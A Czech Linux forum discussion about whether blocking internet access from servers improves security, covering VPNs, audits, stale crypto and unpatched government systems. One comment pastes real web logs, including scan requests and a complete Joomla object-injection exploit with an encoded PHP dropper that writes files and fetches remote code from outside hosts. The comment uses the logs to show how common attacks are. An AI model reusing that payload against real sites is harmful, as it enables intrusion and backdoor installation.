Projekt bez přístupu k internetu - přínos pro bezpečnost

15.6.2016 21:25 | Obecné | poslední úprava: 15.6.2016 21:24

Ahoj, Rád bych zde rozpoutal diskuzi, ohledně skutečného přínosu k bezpečnosti linuxových serverů, pokud nemají přímý nebo dokonce ani nepřímý (proxy s autorizací) přístup k internetu.

Dle mého skromného úsudku je přínos takového opatření k bezpečnosti diskutabilní, a naopak přináší spoustu práce a úskalí administrátorům těchto strojů. K serverům je přístup přes VPN, která odřezává internetové konexe, zůstávají pouze konexe ke strojů v lokální síti. K serverům se přistupuje pouze přes klíče s heslem, sudo je pak chráněno heslem. Servery jsou v různých VLANech, společná je pouze management a monitoring VLANa. Tak se tedy ptám jaký další přínos pro celkovou bezpečnost může mít zákaz routování do internetu?        

Komentáře

[hypvofxy]

Ochrana pred malwarem. Vyrazne se snizuje riziko leaknuti dat, nebo zneuziti backdooru.

[majales]

Servery jsou bez grafického rozhraní, přístup pouze přes ssh do textové konzole. Malware je doménou prohlížečů. S tím backdoorem to možná pravda je, ale pokud je přístup pouze přes chráněnou proxy s antivir a antimalware štítem tak by mělo být riziko minimální, pokud se nepletu.

[Bystroushaak]

Malware je doménou prohlížečů.

Ani nepočítám, kolikrát jsem někoho viděl řešit vypwnovaný server, protože se tam malware vlámal přes nějakou PHP mrdku, kterou programovala nějaká poloretardovaná opice (naposledy můj bratr cca půl roku zpět musel odepsat celý server a udělat kvůli tomu reinstall). Minimálně dvakrát jsem psal software, který tyhle chyby uměl hledat. Schválně se někdy podívej do logů, kolik tam je těhle útoků. Například ke mě na server je jich o dost víc, než regulérních přístupů. Doslova můžu říct, že klepou co pár minut.

Typický scan, viz třeba:

181.143.27.106 - - [15/Jun/2016:01:33:41 +0200] "GET /phpMyAdmin/scripts/setup.php HTTP/1.1" 404 40 "-" "-"
181.143.27.106 - - [15/Jun/2016:01:34:59 +0200] "GET /pma/scripts/setup.php HTTP/1.1" 404 33 "-" "-"
181.143.27.106 - - [15/Jun/2016:01:36:17 +0200] "GET /myadmin/scripts/setup.php HTTP/1.1" 404 37 "-" "-"

To ani nepočítám hovna jako:

192.187.109.42 - - [14/Jun/2016:07:03:44 +0200] "GET / HTTP/1.1" 200 35641 "-" "}__test|O:21:"JDatabaseDriverMysqli":3:{s:2:"fc";O:17:"JSimplepieFactory":0:{}s:21:"\0\0\0disconnectHandlers";a:1:{i:0;a:2:{i:0;O:9:"SimplePie":5:{s:8:"sanitize";O:20:"JDataba
seDriverMysql":0:{}s:8:"feed_url";s:3738:"eval(base64_decode('JGNoZWNrID0gJF9TRVJWRVJbJ0RPQ1VNRU5UX1JPT1QnXSAuICIvbWVkaWEveHh4eC5waHAiIDsNCiRmcD1mb3BlbigiJGNoZWNrIiwidysiKTsNCmZ3cml0ZSgkZnAsYmFzZTY0X2RlY29kZSgnUEQ5d2FIQU5DbVoxYm1OMGFXOXVJR2gwZEhCZloyVjBLQ
1IxY213cGV3MEtDU1JwYlNBOUlHTjFjbXhmYVc1cGRDZ2tkWEpzS1RzTkNnbGpkWEpzWDNObGRHOXdkQ2drYVcwc0lFTlZVa3hQVUZSZlVrVlVWVkpPVkZKQlRsTkdSVklzSURFcE93MEtDV04xY214ZmMyVjBiM0IwS0NScGJTd2dRMVZTVEU5UVZGOURUMDVPUlVOVVZFbE5SVTlWVkN3Z01UQXBPdzBLQ1dOMWNteGZjMlYwYjNCMEtDUnBi
U3dnUTFWU1RFOVFWRjlHVDB4TVQxZE1UME5CVkVsUFRpd2dNU2s3RFFvSlkzVnliRjl6WlhSdmNIUW9KR2x0TENCRFZWSk1UMUJVWDBoRlFVUkZVaXdnTUNrN0RRb0pjbVYwZFhKdUlHTjFjbXhmWlhobFl5Z2thVzBwT3cwS0NXTjFjbXhmWTJ4dmMyVW9KR2x0S1RzTkNuME5DaVJqYUdWamF5QTlJQ1JmVTBWU1ZrVlNXeWRFVDBOVlRVVk9
WRjlTVDA5VUoxMGdMaUFpTDIxbFpHbGhMMk56Y3k1d2FIQWlJRHNOQ2lSMFpYaDBJRDBnYUhSMGNGOW5aWFFvSjJoMGRIQTZMeTl0Y25SbkxuVnBMbkJvYVc1dFlTNWxaSFV1Y0dndlkyOXRjRzl1Wlc1MGN5OXFiMjl0YkdFdWRIaDBKeWs3RFFva2IzQmxiaUE5SUdadmNHVnVLQ1JqYUdWamF5d2dKM2NuS1RzTkNtWjNjbWwwWlNna2IzQm
xiaXdnSkhSbGVIUXBPdzBLWm1Oc2IzTmxLQ1J2Y0dWdUtUc05DbWxtS0dacGJHVmZaWGhwYzNSektDUmphR1ZqYXlrcGV3MEtJQ0FnSUdWamFHOGdKR05vWldOckxpSThMMkp5UGlJN0RRcDlaV3h6WlNBTkNpQWdaV05vYnlBaWJtOTBJR1Y0YVhSeklqc05DbVZqYUc4Z0ltUnZibVVnTGx4dUlDSWdPdzBLSkdOb1pXTnJNaUE5SUNSZlUwV
lNWa1ZTV3lkRVQwTlZUVVZPVkY5U1QwOVVKMTBnTGlBaUwyMWxaR2xoTDJwdFlXbHNMbkJvY0NJZ093MEtKSFJsZUhReUlEMGdhSFIwY0Y5blpYUW9KMmgwZEhBNkx5OXRjblJuTG5WcExuQm9hVzV0WVM1bFpIVXVjR2d2WTI5dGNHOXVaVzUwY3k5cWJXRnBiSG91ZEhoMEp5azdEUW9rYjNCbGJqSWdQU0JtYjNCbGJpZ2tZMmhsWTJzeUxD
QW5keWNwT3cwS1puZHlhWFJsS0NSdmNHVnVNaXdnSkhSbGVIUXlLVHNOQ21aamJHOXpaU2drYjNCbGJqSXBPdzBLYVdZb1ptbHNaVjlsZUdsemRITW9KR05vWldOck1pa3BldzBLSUNBZ0lHVmphRzhnSkdOb1pXTnJNaTRpUEM5aWNqNGlPdzBLZldWc2MyVWdEUW9nSUdWamFHOGdJbTV2ZENCbGVHbDBjeklpT3cwS1pXTm9ieUFpWkc5dVp
USWdMbHh1SUNJZ093MEtEUW9rWTJobFkyc3pQU1JmVTBWU1ZrVlNXeWRFVDBOVlRVVk9WRjlTVDA5VUoxMGdMaUFpTDBndWFIUnRJaUE3RFFva2RHVjRkRE1nUFNCb2RIUndYMmRsZENnbkp5azdEUW9rYjNBelBXWnZjR1Z1S0NSamFHVmphek1zSUNkM0p5azdEUXBtZDNKcGRHVW9KRzl3TXl3a2RHVjRkRE1wT3cwS1ptTnNiM05sS0NSdm
NETXBPdzBLRFFva1kyaGxZMnMwUFNSZlUwVlNWa1ZTV3lkRVQwTlZUVVZPVkY5U1QwOVVKMTBnTGlBaUwyMWxaR2xoTDJOb1pXTnJMbkJvY0NJZ093MEtKSFJsZUhRMElEMGdhSFIwY0Y5blpYUW9KMmgwZEhBNkx5OXRjblJuTG5WcExuQm9hVzV0WVM1bFpIVXVjR2d2WTI5dGNHOXVaVzUwY3k5eGNTNTBlSFFuS1RzTkNpUnZjRFE5Wm05d
1pXNG9KR05vWldOck5Dd2dKM2NuS1RzTkNtWjNjbWwwWlNna2IzQTBMQ1IwWlhoME5DazdEUXBtWTJ4dmMyVW9KRzl3TkNrN0RRb05DaVJqYUdWamF6VTlKRjlUUlZKV1JWSmJKMFJQUTFWTlJVNVVYMUpQVDFRblhTQXVJQ0l2TDIxbFpHbGhMMnB0WVdsc2N5NXdhSEFpSURzTkNpUjBaWGgwTlNBOUlHaDBkSEJmWjJWMEtDZG9kSFJ3T2k4
dmJYSjBaeTUxYVM1d2FHbHViV0V1WldSMUxuQm9MMk52YlhCdmJtVnVkSE12Y1hGNkxuUjRkQ2NwT3cwS0pHOXdOVDFtYjNCbGJpZ2tZMmhsWTJzMUxDQW5keWNwT3cwS1puZHlhWFJsS0NSdmNEVXNKSFJsZUhRMUtUc05DbVpqYkc5elpTZ2tiM0ExS1RzTkNnMEtKR05vWldOck5qMGtYMU5GVWxaRlVsc25SRTlEVlUxRlRsUmZVazlQVkN
kZElDNGdJaTlzYVdKeVlYSnBaWE12YW05dmJXeGhMM05sYzNOcGIyNHZjMlZ6YzJsdmJpNXdhSEFpSURzTkNpUjBaWGgwTmlBOUlHaDBkSEJmWjJWMEtDZG9kSFJ3T2k4dmNHRnpkR1ZpYVc0dVkyOXRMM0poZHk5VlNFRkhWRGc0TnljcE93MEtKRzl3TmoxbWIzQmxiaWdrWTJobFkyczJMQ0FuZHljcE93MEtabmR5YVhSbEtDUnZjRFlzSk
hSbGVIUTJLVHNOQ21aamJHOXpaU2drYjNBMktUc05DZzBLSkhSdmVpQTlJQ0lpT3cwS0pITjFZbXBsWTNRZ1BTQW5TbTl0SUhwNmVpQW5JQzRnSkY5VFJWSldSVkpiSjFORlVsWkZVbDlPUVUxRkoxMDdEUW9rYUdWaFpHVnlJRDBnSjJaeWIyMDZJRXRsYTJ0aGFTQlRaVzV6Wlc0Z1BIWnZibEpsYVc1b1pYSjZTMnhoZFhOQVUyRnBhMjkxY
m1GSWFXSnBMbU52YlQ0bklDNGdJbHh5WEc0aU93MEtKRzFsYzNOaFoyVWdQU0FpVTJobGJHeDZJRG9nYUhSMGNEb3ZMeUlnTGlBa1gxTkZVbFpGVWxzblUwVlNWa1ZTWDA1QlRVVW5YU0F1SUNJdmJHbGljbUZ5YVdWekwycHZiMjFzWVM5cWJXRnBiQzV3YUhBL2RTSWdMaUFpWEhKY2JpSWdMaUJ3YUhCZmRXNWhiV1VvS1NBdUlDSmNjbHh1
SWpzTkNpUnpaVzUwYldGcGJDQTlJRUJ0WVdsc0tDUjBiM29zS
UNSemRXSnFaV04wTENBa2JXVnpjMkZuWlN3Z0pHaGxZV1JsY2lrN0RRb05Da0IxYm14cGJtc29YMTlHU1V4RlgxOHBPdzBLRFFvTkNqOCsnKSk7DQpmY2xvc2UoJGZwKTs='));JFactory::getConfig();exit";s:19:"cache_name_function";s:6:"assert";s:5:"cache";b:1;s:11:"cache_class";O:20:"JDatabaseDriverMysql":0:{}}i:1;s:4:"init";}}s:13:"\0\0\0connection";b:1;}<F0><FD><FD><FD>"
192.187.109.42 - - [14/Jun/2016:07:03:45 +0200] "GET / HTTP/1.1" 200 35641 "-" "}__test|O:21:"JDatabaseDriverMysqli":3:{s:2:"fc";O:17:"JSimplepieFactory":0:{}s:21:"\0\0\0disconnectHandlers";a:1:{i:0;a:2:{i:0;O:9:"SimplePie":5:{s:8:"sanitize";O:20:"JDatabaseDriverMysql":0:{}s:8:"feed_url";s:3738:"eval(base64_decode('JGNoZWNrID0gJF9TRVJWRVJbJ0RPQ1VNRU5UX1JPT1QnXSAuICIvbWVkaWEveHh4eC5waHAiIDsNCiRmcD1mb3BlbigiJGNoZWNrIiwidysiKTsNCmZ3cml0ZSgkZnAsYmFzZTY0X2RlY29kZSgnUEQ5d2FIQU5DbVoxYm1OMGFXOXVJR2gwZEhCZloyVjBLQ1IxY213cGV3MEtDU1JwYlNBOUlHTjFjbXhmYVc1cGRDZ2tkWEpzS1RzTkNnbGpkWEpzWDNObGRHOXdkQ2drYVcwc0lFTlZVa3hQVUZSZlVrVlVWVkpPVkZKQlRsTkdSVklzSURFcE93MEtDV04xY214ZmMyVjBiM0IwS0NScGJTd2dRMVZTVEU5UVZGOURUMDVPUlVOVVZFbE5SVTlWVkN3Z01UQXBPdzBLQ1dOMWNteGZjMlYwYjNCMEtDUnBiU3dnUTFWU1RFOVFWRjlHVDB4TVQxZE1UME5CVkVsUFRpd2dNU2s3RFFvSlkzVnliRjl6WlhSdmNIUW9KR2x0TENCRFZWSk1UMUJVWDBoRlFVUkZVaXdnTUNrN0RRb0pjbVYwZFhKdUlHTjFjbXhmWlhobFl5Z2thVzBwT3cwS0NXTjFjbXhmWTJ4dmMyVW9KR2x0S1RzTkNuME5DaVJqYUdWamF5QTlJQ1JmVTBWU1ZrVlNXeWRFVDBOVlRVVk9WRjlTVDA5VUoxMGdMaUFpTDIxbFpHbGhMMk56Y3k1d2FIQWlJRHNOQ2lSMFpYaDBJRDBnYUhSMGNGOW5aWFFvSjJoMGRIQTZMeTl0Y25SbkxuVnBMbkJvYVc1dFlTNWxaSFV1Y0dndlkyOXRjRzl1Wlc1MGN5OXFiMjl0YkdFdWRIaDBKeWs3RFFva2IzQmxiaUE5SUdadmNHVnVLQ1JqYUdWamF5d2dKM2NuS1RzTkNtWjNjbWwwWlNna2IzQmxiaXdnSkhSbGVIUXBPdzBLWm1Oc2IzTmxLQ1J2Y0dWdUtUc05DbWxtS0dacGJHVmZaWGhwYzNSektDUmphR1ZqYXlrcGV3MEtJQ0FnSUdWamFHOGdKR05vWldOckxpSThMMkp5UGlJN0RRcDlaV3h6WlNBTkNpQWdaV05vYnlBaWJtOTBJR1Y0YVhSeklqc05DbVZqYUc4Z0ltUnZibVVnTGx4dUlDSWdPdzBLSkdOb1pXTnJNaUE5SUNSZlUwVlNWa1ZTV3lkRVQwTlZUVVZPVkY5U1QwOVVKMTBnTGlBaUwyMWxaR2xoTDJwdFlXbHNMbkJvY0NJZ093MEtKSFJsZUhReUlEMGdhSFIwY0Y5blpYUW9KMmgwZEhBNkx5OXRjblJuTG5WcExuQm9hVzV0WVM1bFpIVXVjR2d2WTI5dGNHOXVaVzUwY3k5cWJXRnBiSG91ZEhoMEp5azdEUW9rYjNCbGJqSWdQU0JtYjNCbGJpZ2tZMmhsWTJzeUxDQW5keWNwT3cwS1puZHlhWFJsS0NSdmNHVnVNaXdnSkhSbGVIUXlLVHNOQ21aamJHOXpaU2drYjNCbGJqSXBPdzBLYVdZb1ptbHNaVjlsZUdsemRITW9KR05vWldOck1pa3BldzBLSUNBZ0lHVmphRzhnSkdOb1pXTnJNaTRpUEM5aWNqNGlPdzBLZldWc2MyVWdEUW9nSUdWamFHOGdJbTV2ZENCbGVHbDBjeklpT3cwS1pXTm9ieUFpWkc5dVpUSWdMbHh1SUNJZ093MEtEUW9rWTJobFkyc3pQU1JmVTBWU1ZrVlNXeWRFVDBOVlRVVk9WRjlTVDA5VUoxMGdMaUFpTDBndWFIUnRJaUE3RFFva2RHVjRkRE1nUFNCb2RIUndYMmRsZENnbkp5azdEUW9rYjNBelBXWnZjR1Z1S0NSamFHVmphek1zSUNkM0p5azdEUXBtZDNKcGRHVW9KRzl3TXl3a2RHVjRkRE1wT3cwS1ptTnNiM05sS0NSdmNETXBPdzBLRFFva1kyaGxZMnMwUFNSZlUwVlNWa1ZTV3lkRVQwTlZUVVZPVkY5U1QwOVVKMTBnTGlBaUwyMWxaR2xoTDJOb1pXTnJMbkJvY0NJZ093MEtKSFJsZUhRMElEMGdhSFIwY0Y5blpYUW9KMmgwZEhBNkx5OXRjblJuTG5WcExuQm9hVzV0WVM1bFpIVXVjR2d2WTI5dGNHOXVaVzUwY3k5eGNTNTBlSFFuS1RzTkNpUnZjRFE5Wm05d1pXNG9KR05vWldOck5Dd2dKM2NuS1RzTkNtWjNjbWwwWlNna2IzQTBMQ1IwWlhoME5DazdEUXBtWTJ4dmMyVW9KRzl3TkNrN0RRb05DaVJqYUdWamF6VTlKRjlUUlZKV1JWSmJKMFJQUTFWTlJVNVVYMUpQVDFRblhTQXVJQ0l2TDIxbFpHbGhMMnB0WVdsc2N5NXdhSEFpSURzTkNpUjBaWGgwTlNBOUlHaDBkSEJmWjJWMEtDZG9kSFJ3T2k4dmJYSjBaeTUxYVM1d2FHbHViV0V1WldSMUxuQm9MMk52YlhCdmJtVnVkSE12Y1hGNkxuUjRkQ2NwT3cwS0pHOXdOVDFtYjNCbGJpZ2tZMmhsWTJzMUxDQW5keWNwT3cwS1puZHlhWFJsS0NSdmNEVXNKSFJsZUhRMUtUc05DbVpqYkc5elpTZ2tiM0ExS1RzTkNnMEtKR05vWldOck5qMGtYMU5GVWxaRlVsc25SRTlEVlUxRlRsUmZVazlQVkNkZElDNGdJaTlzYVdKeVlYSnBaWE12YW05dmJXeGhMM05sYzNOcGIyNHZjMlZ6YzJsdmJpNXdhSEFpSURzTkNpUjBaWGgwTmlBOUlHaDBkSEJmWjJWMEtDZG9kSFJ3T2k4dmNHRnpkR1ZpYVc0dVkyOXRMM0poZHk5VlNFRkhWRGc0TnljcE93MEtKRzl3TmoxbWIzQmxiaWdrWTJobFkyczJMQ0FuZHljcE93MEtabmR5YVhSbEtDUnZjRFlzSkhSbGVIUTJLVHNOQ21aamJHOXpaU2drYjNBMktUc05DZzBLSkhSdmVpQTlJQ0lpT3cwS0pITjFZbXBsWTNRZ1BTQW5TbTl0SUhwNmVpQW5JQzRnSkY5VFJWSldSVkpiSjFORlVsWkZVbDlPUVUxRkoxMDdEUW9rYUdWaFpHVnlJRDBnSjJaeWIyMDZJRXRsYTJ0aGFTQlRaVzV6Wlc0Z1BIWnZibEpsYVc1b1pYSjZTMnhoZFhOQVUyRnBhMjkxYm1GSWFXSnBMbU52YlQ0bklDNGdJbHh5WEc0aU93MEtKRzFsYzNOaFoyVWdQU0FpVTJobGJHeDZJRG9nYUhSMGNEb3ZMeUlnTGlBa1gxTkZVbFpGVWxzblUwVlNWa1ZTWDA1QlRVVW5YU0F1SUNJdmJHbGljbUZ5YVdWekwycHZiMjFzWVM5cWJXRnBiQzV3YUhBL2RTSWdMaUFpWEhKY2JpSWdMaUJ3YUhCZmRXNWhiV1VvS1NBdUlDSmNjbHh1SWpzTkNpUnpaVzUwYldGcGJDQTlJRUJ0WVdsc0tDUjBiM29zSUNSemRXSnFaV04wTENBa2JXVnpjMkZuWlN3Z0pHaGxZV1JsY2lrN0RRb05Da0IxYm14cGJtc29YMTlHU1V4RlgxOHBPdzBLRFFvTkNqOCsnKSk7DQpmY2xvc2UoJGZwKTs='));JFactory::getConfig();exit";s:19:"cache_name_function";s:6:"assert";s:5:"cache";b:1;s:11:"cache_class";O:20:"JDatabaseDriverMysql":0:{}}i:1;s:4:"init";}}s:13:"\0\0\0connection";b:1;}<F0><FD><FD><FD>"
192.187.109.42 - - [14/Jun/2016:07:03:45 +0200] "GET /media/xxxx.php HTTP/1.1" 404 26 "-" "python-requests/2.9.1"
192.187.109.42 - - [14/Jun/2016:07:03:45 +0200] "GET /media/css.php HTTP/1.1" 404 25 "-" "python-requests/2.9.1"

Ono obecně, někdy doporučuji si nahodit na virtuál honeypot a pak si číst logy. Člověk by asi nevěřil, kolik útoků běžně chodí na ničím nevýznamný server.

[Bystroushaak]

Jinak co se týče SSH, tak to jede jeden útok za druhým jak je den dlouhý, přestože nemám SSH na 22.

[majales]

To je sice fajn, ale jak jsem psal - aby bylo možné dostat se na servery přes ssh je nutné se připojit přes vpn. Script kiddies na php nebo web taky znám, ale zase od toho je tam oddělení přes vlany, mod-security atd. Případně se dají ještě poladit nějaká fail2ban pravidla.

[Heron]

A?

[Bystroushaak]

Malware rozhodně není doménou prohlížečů.

[Heron]

No a jak to souvisí s ssh? Že někdo zkouší slovníková hesla tě nemůže rozhodit.

Také je dobré se zamyslet, co získá, když se tam nějak dostane. A pokud něco získá (a vadí to), tak se podle toho zařídit.

[Heron]

A ty 404 něčemu vadí?

[hypvofxy]

Servery jsou bez grafického rozhraní, přístup pouze přes ssh do textové konzole.

Riziko zranitelnosti existuje vzdy.

Malware je doménou prohlížečů.

To je naprosty nesmysl.

S tím backdoorem to možná pravda je, ale pokud je přístup pouze přes chráněnou proxy s antivir a antimalware štítem tak by mělo být riziko minimální, pokud se nepletu.

Pred ctenim prikazu nekde ze vzdaleneho HTTP serveru a naslednym vyleakovanim cennych dat te asi antivir ani antimalware stit moc neuchrani.

Jinak sis ale odpovedel sam - i kdyby to riziko bylo minimalni, porad existuje.

[regine]

Znám několik celoplošných systémů českých bezpečnostních ministerstev (jeden systém asi 3 tisíce denně aktivních uživatelů), které jedou na linux systémech (například SLES) a k internetu 100 procentně nesmí být konektováni. Čistá LAN.

Žádný problém s provozem systémů nemají. Na jednom utajovaném jsem pracoval s HP-UX (unix) s šifrovaný dedikovanými linkami do zahraničí.

[regine2]

V poslední době právě routování se považuje za velkou bezpečnostní díru. Poslední medializovaný zářez je Ubiquity.

Většinou když už je nutno (e-commerce), staví se servery až za dva firewally. Nic levného

csirt.cz ubiquiti

[melkors]

To je jako ptat se, proc by mela byt pokladna zavrena, kdyz jsou stejne penize v trezoru :-P

A konkretni duvod (co mne hned napadl): Kdyz dojde k lokalnimu expoitu, data neni mozno snadno dostat mimo LAN.

[Heron]

Dle mého skromného úsudku je přínos takového opatření k bezpečnosti diskutabilní, a naopak přináší spoustu práce a úskalí administrátorům těchto strojů.

Je to přesně tak. Pracoval jsem na mnoha projektech, které byly "zabezpečeny" dle nějakého auditu (což je asi tak to nejhorší, co může nastat), to znamená za devatero VPN, oddělené sítě, přístupové karty apod. Pracovat se na tom nedalo.

Pochopitelně, aby se na tom pracovat dalo (protože třeba ministr si na tiskovce vzpomněl, že slíbil nějaký systém), tak si ti admini vytvořili tunel přímo do těch systémů. No a dodavatelé tento tunel potom dostali taky. Takže oficiálně se dělala šaškárna s VPN kartami apod, ale reálně se jelo v podstatě přímo. Jinak by totiž ta zakázka nešla realizovat vůbec.

Problém je, že jak jde čas, tak se vymění admini a na tento tunel se zapomeneme. Případně se o něj nikdo nestará, takže to zůstane v konfiguraci z roku 2007 - RSA 1024, MD5 apod. Takže další bezpečnostní hrozba. (Mimochodem, tohle je sranda. Řeší se heartbleedy apod., nahrazují se klíče, vyhazují se staré šifry - což je dobře - ale jen z webserverů, na všechno ostatní se zapomíná - třeba na ty VPNky).

Další věc, úřady celkem pravidelně dostávají emaily od CSIRTu a NCKB (apod. strašně užitečných institucí) a protože na tom úřadě tomu vůbec nikdo ani náznakem nerozumí, ale mají pocit, že to "nařízení" shora musí splnit, tak to potom pošlou na dodavatele IT řešení. Výsledkem je třeba to, že se před stávající servery dá firewall (pochopitelně cisco za půl mega) a servery se nedostanou třeba ani na repositáře pro aktualizace (protože v nějakém audity nějaký ňouma napsal, že se musí blokovat směr ven). Protože to dodavatel těch serverů (který se samozřejmě jiný, než dodavatel sítě a ten je jiný jak dodavatel VPN a tak dále), to nechce řešit (protože je to tak na půl roku a stejně mu končí smlouva), tak ty servery zůstanou rovnou bez updatů.

Takže ve zkratce: většina bezpečnostních opatření, které jsem ve státní správě viděl, zcela neomylně vedla k narušení bezpečnosti.

[pavele]

Drobná otázka:

Kolik těchto strojů, které byly "zabezpečeny" dle nějakého auditu, bylo napadeno?

[Heron]

Ta otázka nedává smysl.

[pavele]

Pokud kritizuješ nefunkční zabezpečení, je zřejmě jednoduché ty stroje napadnout. Tak se ptám znovu:

Kolik těchto strojů, které byly "zabezpečeny" dle nějakého auditu (dle tvých slov), bylo napadeno?

[Heron]

Kolik těchto strojů, které byly "zabezpečeny" dle nějakého auditu (dle tvých slov), bylo napadeno?

Nevím a je to jedno.

Pokud kritizuješ nefunkční zabezpečení, je zřejmě jednoduché ty stroje napadnout.

Já kritizuji stav, kdy se udělá nějaké oficiální zabezpečení a vedle toho (aby se na tom dalo vůbec pracovat a aby to vůbec běželo), se udělá díra. To, že tu díru třeba nikdo zatím nezneužil (nebo ji zneužil tak, že to nikdo nepoznal), na věci nic nemění. Je také dost dobře možné, že ta díra je zabezpečena dostatečně (alespoň po určitý čas) a tedy to oficiální, superdrahé zabezpeční je prostým plýtváním (zkrátka se to mohlo udělat rovnou technologií té díry).

Ať tak či onak, nepovažuji za vhodné z hlediska bezpečnosti, pokud se systém navrhne nějakým způsobem (který odporuje provozu), a potom se pokoutně provozuje zcela jinak.

Představ si, že by se tímto způsobem stavěly dálnice. Že by třeba někdo ignoroval okolní prostředí ... ehm špatný příklad ... nebo třeba stavěly mosty ... kua, zase Snad je jasné, kam tím mířím.

[Heron]

nějaké oficiální zabezpečení

A jak jsem psal. Ono je to často dělané stylem, že NCKB pošle email, na úřadě mu vůbec nikdo nerozumí, tak to pošle na dodavatele*, ten se k tomu třeba vyjádří stylem, že je to zcela nerelevantní, úřad pošle befel, že to musí být, tak to dodavatel udělá (no, nějak). Výsledkem je chaos vzájemně nespolupracujících opatření. Takto se bezpečnost dosáhnout nedá.

*) Pokud se ovšem vůbec trefí do toho správného. Úřady mají mnoho IT dodavatelů (sít, fw, vpn, virtualizace, hw, dodavatel webů, dodatavel intranetu apod.) a některé ani vůbec neví, která firma jim co dělá (zrovna dneska mi přišel takový hezký bug appky cizí firmy. Dřív jsem jim alespoň psal, která firma jim to dodala, ale přestal jsem s tím po zjištění, že si to ani neobtěžují zapamatovat.). Do takového prostředí pak přijde kontrola z ministerstva a vypadá to stejně jako v Monty Python's skeči (akorát v reálu, je to ještě větší sranda).

[Käyttäjä 11133]

Je to přesně tak. Pracoval jsem na mnoha projektech, které byly "zabezpečeny" dle nějakého auditu (což je asi tak to nejhorší, co může nastat), to znamená za devatero VPN, oddělené sítě, přístupové karty apod. Pracovat se na tom nedalo.

vs.

tak si ti admini vytvořili tunel přímo do těch systémů. No a dodavatelé tento tunel potom dostali taky. Takže oficiálně se dělala šaškárna s VPN kartami apod, ale reálně se jelo v podstatě přímo. Jinak by totiž ta zakázka nešla realizovat vůbec.

Takže reálně podmínky toho auditu pravděpodobně nesplnily.

Případně se o něj nikdo nestará, takže to zůstane v konfiguraci z roku 2007 - RSA 1024, MD5 apod. Takže další bezpečnostní hrozba.

Takový systém by neprošel ani PCI-DSS v 3.2 auditem.

Výsledkem je třeba to, že se před stávající servery dá firewall (pochopitelně cisco za půl mega) a servery se nedostanou třeba ani na repositáře pro aktualizace (protože v nějakém audity nějaký ňouma napsal, že se musí blokovat směr ven). Protože to dodavatel těch serverů (který se samozřejmě jiný, než dodavatel sítě a ten je jiný jak dodavatel VPN a tak dále), to nechce řešit (protože je to tak na půl roku a stejně mu končí smlouva), tak ty servery zůstanou rovnou bez updatů.

On pravděpodobně ten auditor taky řekl, že ty systémy musí být aktualizované, takže je akorát tak chyba té organizace, že dodržela část doporučení a část ne. Mají si nasadit lokální mirror, jako to dělají každé normální security-aware organizace, stahovat aktualizace z public repository je stejně blbost, protože jak chceš třeba zajistit testování jednotlivých aktualizací? Zpravidla se aktualizace nejdřív testují a pak se pustí do produkčního prostředí.

[Heron]

Řekl bych, žes vůbec nepochopil o čem jsem psal (což je teda možná dobře, protože nemáš tak hrůzné zkušenosti). Tam není jeden auditor. Ten systém projde nějakým auditem (prostě proto, že potřebují papír na cosi). Za rok přijde další audit, který s tím předchozím vůbec nepolupracuje a třeba řeší něco jiného. Potom přijde befel od NKCB, který doporučuje zase něco jiného. Je to hromada často protichůdných věcí.

takže je akorát tak chyba té organizace

Ano, říkal jsem, že tomu na těch úřadech vůbec nikdo nerozumí. (Až na výjimky, jsou ministerstva, se kterými se pracuje dobře a na IT jsou skuteční admini.)

Mají si nasadit lokální mirror, jako to dělají každé normální security-aware organizace, stahovat aktualizace z public repository je stejně blbost, protože jak chceš třeba zajistit testování jednotlivých aktualizací?

Jo, což by dopadlo přesně tak, že nějaká firma by nasadila lokální mirror (a zakázka je hotova), tento mirror by se stejně nikam nenastavil (protože firma nasazující tento mirror nemá oprávnění ani možnosti zasahovat do serverů), a potom by stejně přišel befel blokujte odchozí provoz a ani servery tohoto mirorru by se nedostaly na repa.

[Käyttäjä 11133]

tento mirror by se stejně nikam nenastavil (protože firma nasazující tento mirror nemá oprávnění ani možnosti zasahovat do serverů),

Tak když si někdo neumí udělat specifikaci vlastního IT prostředí... Jako třeba že každý server toho a toho typu musí být nastaven tak a tak - třeba CIS hardening,... tak se nedivím, že vám ty audity neprocházejí :D

[Heron]

Nám ne. Jak jsem psal, mě už přestalo bavit jim i sdělovat, která firma se o tento jejich požadavek postará (vysílají je náhodně, protože neví, co kdo dělá). Já už se tím jenom bavím.

[Jendа]

na všechno ostatní se zapomíná - třeba na ty VPNky

Tohle mě fascinuje. Debian Jessie měl po vydání v Dovecotu defaultně RC4-40 a MD5 a openvpn snad dosud generuje 1024b RSA klíče (minimálně na Wheezym ještě generovala).

Další věc, úřady celkem pravidelně dostávají emaily od CSIRTu a NCKB (apod. strašně užitečných institucí) a protože na tom úřadě tomu vůbec nikdo ani náznakem nerozumí

Dopis od NCKB. Taky mi chvíli trvalo, než jsem pochopil, co se mi vlastně snaží sdělit.

Protože to dodavatel těch serverů (který se samozřejmě jiný, než dodavatel sítě a ten je jiný jak dodavatel VPN a tak dále), to nechce řešit (protože je to tak na půl roku a stejně mu končí smlouva), tak ty servery zůstanou rovnou bez updatů.

Pak potkávám ještě jeden scénář: dodavatel nainstaluje CentOS/Debian se svojí aplikací, nikomu nic neřekne a odejde. Distribuci skončí podpora a nikdo to nedokáže aktualizovat, aby se to nerozsypalo.

[Käyttäjä 11133]

Pak potkávám ještě jeden scénář: dodavatel nainstaluje CentOS/Debian se svojí aplikací, nikomu nic neřekne a odejde. Distribuci skončí podpora a nikdo to nedokáže aktualizovat, aby se to nerozsypalo.

A pak přišel Docker...

[Jendа]

To neřeší, že uvnitř toho kontejneru pořád bude Bash se shellshockem, openssl z roku 1972 a glibc s getaddrinfo s RCE.

[Acci]

To by mě zajímalo. Proč ti ten „dopis” došel?

[Jendа]

Provozuju Tor exit a někdo se z něj pokusil připojit na tu adresu.

Pak mi přišlo od UPC podstatně drsněji napsané, že mě odpojují, protože šířím malware. Zjistil jsem, že to je za TCP spojení na tu adresu.

Schválně kdo máte UPC si zkuste kliknout, jestli vás do pár dní odpojí. Možná už to opravili.

[pavlix]

A ještě ho provozuješ? :)

[Jendа]

U Forpsi ne, protože dva abuse maily za měsíc mě nebavily. U OVH jo, tam jsem měl zatím jeden abuse za rok (za zkoušení hesel na SSH). Pak ještě brmlab provozuje jeden u Trusticy a tam zatím nebyl problém žádný. Viz tady a family.

